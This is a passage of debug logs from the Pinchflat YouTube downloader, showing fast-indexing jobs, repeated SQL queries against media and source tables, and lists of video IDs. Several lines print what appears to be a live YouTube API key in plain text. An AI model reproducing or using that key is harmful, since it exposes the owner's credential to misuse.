"Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 16:55:43.646 [debug] QUERY OK source="media_items" db=0.9ms idle=134.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:55:43.646 [debug] QUERY OK source="tasks" db=0.1ms idle=136.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268352, 16, ~U[2026-10-09 21:55:43Z], ~U[2026-10-09 21:55:43Z]] 16:55:43.647 [info] {"args":{"id":16},"id":5268311,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":137785,"event":"job:stop","queue_time":567030,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:43.830 [debug] QUERY OK source="media_items" db=0.7ms idle=183.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 16:55:43.834 [debug] QUERY OK source="media_items" db=3.0ms idle=184.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:55:43.835 [debug] QUERY OK source="tasks" db=0.1ms idle=182.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268353, 5, ~U[2026-10-09 21:55:43Z], ~U[2026-10-09 21:55:43Z]] 16:55:43.835 [info] {"args":{"id":5},"id":5268312,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":326398,"event":"job:stop","queue_time":348533,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:44.510 [info] {"args":{"id":28},"id":5268313,"meta":{},"system_time":1791582944510276892,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:44.510 [debug] QUERY OK source="sources" db=0.1ms idle=674.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:55:44.510 [debug] QUERY OK source="settings" db=0.0ms idle=674.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:44.510 [debug] QUERY OK source="media_profiles" db=0.0ms idle=668.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:44.511 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:44.511 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:55:44.511 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:44.511 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:44.675 [debug] QUERY OK source="media_items" db=0.6ms idle=164.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 16:55:44.676 [debug] QUERY OK source="media_items" db=0.3ms idle=165.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:55:44.677 [debug] QUERY OK source="tasks" db=0.1ms idle=165.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268354, 28, ~U[2026-10-09 21:55:44Z], ~U[2026-10-09 21:55:44Z]] 16:55:44.677 [info] {"args":{"id":28},"id":5268313,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":166926,"event":"job:stop","queue_time":609524,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:45.332 [info] {"source":"oban","duration":9926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:45.511 [info] {"args":{"id":43},"id":5268314,"meta":{},"system_time":1791582945511298274,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:45.511 [info] {"args":{"id":20},"id":5268315,"meta":{},"system_time":1791582945511339933,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:45.511 [debug] QUERY OK source="sources" db=0.1ms idle=834.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:55:45.511 [debug] QUERY OK source="sources" db=0.1ms idle=828.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:55:45.511 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:45.512 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:45.512 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:45.512 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:55:45.512 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:45.512 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:45.512 [debug] QUERY OK source="settings" db=0.8ms idle=178.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:45.512 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:45.512 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:45.512 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:55:45.512 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:45.513 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:45.640 [debug] QUERY OK source="media_items" db=0.6ms idle=127.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 16:55:45.641 [debug] QUERY OK source="media_items" db=0.4ms idle=128.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:55:45.642 [debug] QUERY OK source="tasks" db=0.1ms idle=129.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268355, 20, ~U[2026-10-09 21:55:45Z], ~U[2026-10-09 21:55:45Z]] 16:55:45.643 [info] {"args":{"id":20},"id":5268315,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":131468,"event":"job:stop","queue_time":142474,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:45.875 [debug] QUERY OK source="media_items" db=0.6ms idle=231.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 16:55:45.876 [debug] QUERY OK source="media_items" db=0.4ms idle=232.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= 